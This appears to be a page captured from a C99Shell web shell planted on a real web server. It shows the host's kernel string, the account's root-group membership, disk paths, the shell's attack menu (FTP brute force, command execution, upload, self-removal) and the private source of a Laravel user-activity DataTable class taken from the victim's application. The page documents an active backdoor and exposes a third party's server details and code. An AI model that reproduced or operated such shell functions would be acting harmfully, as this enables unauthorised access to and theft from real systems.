!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/DataTables/   drwxr-xr-x
Free 26.01 GB of 117.98 GB (22.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserActivityDataTable.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\DataTables;

use 
App\DataTables\DataTable;
use 
Illuminate\Support\Facades\Auth;
use 
Spatie\Activitylog\Models\Activity;
use 
App\Traits\ModelTraits\{FilterableFormatDateTime};

class 
UserActivityDataTable extends DataTable
{
    use 
FilterableFormatDateTime;

    protected 
$propertiesArray = [];

    
/*
    * DataTable Ajax
    *
    * @return \Yajra\DataTables\DataTableAbstract|\Yajra\DataTables\DataTables
    */
    
public function ajax()
    {
        
$activities $this->query();

        return 
datatables()
            ->
of($activities)
            ->
addColumn('log_name', function ($activity) {
                return 
str_replace('USER '''$activity->log_name);
            })
            ->
addColumn('description', function ($activity) {
                return 
$activity->description;
            })
            ->
addColumn('browser', function ($activity) {
                
$this->propertiesArray json_decode($activity->propertiestrue);
                return 
$this->propertiesArray['browser'] . ' ' $this->propertiesArray['browser_version'];
            })
            ->
addColumn('platform', function($activity) {
                return 
$this->propertiesArray['platform'];
            })
            ->
addColumn('ip', function($activity) {
                return 
$this->propertiesArray['ip_address'];
            })
            ->
addColumn('created_at', function ($activity) {
                return 
$this->formatDateTime($activity->created_at);
            })
            ->
rawColumns(['log_name''description''browser''platform''ip''created_at'])
            ->
make(true);
    }

    
/*
    * DataTable Query
    *
    * @return mixed
    */
    
public function query()
    {
        
$activities Activity::query()
            ->
where('log_name''LIKE''%user%')
            ->
where('causer_id''='Auth::id());

        if (
count(request()->query()) > 0) {
            
$activities $this->scopeFilter($activities'App\\Filters\\UserActivityLogFilter');
        }

        return 
$this->applyScopes($activities);
    }

    
/*
    * DataTable HTML
    *
    * @return \Yajra\DataTables\Html\Builder
    */
    
public function html()
    {
        return 
$this->builder()
            ->
addColumn(['data' => 'log_name''name' => 'log_name''title' => __('Type'), 'orderable' => false'searchable' => false])
            ->
addColumn(['data' => 'description''name' => 'description''title' => __('Description'), 'orderable' => false])
            ->
addColumn(['data' => 'browser''name' => 'browser''title' => __('Browser'), 'orderable' => false])
            ->
addColumn(['data' => 'platform''name' => 'platform''title' => __('Platform'), 'orderable' => false'width' => '5%'])
            ->
addColumn(['data' => 'ip''name' => 'ip''title' => __('IP'), 'orderable' => false])
            ->
addColumn(['data' => 'created_at''name' => 'created_at''title' => __('Created at'), 'orderable' => false])
            ->
parameters(dataTableOptions());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--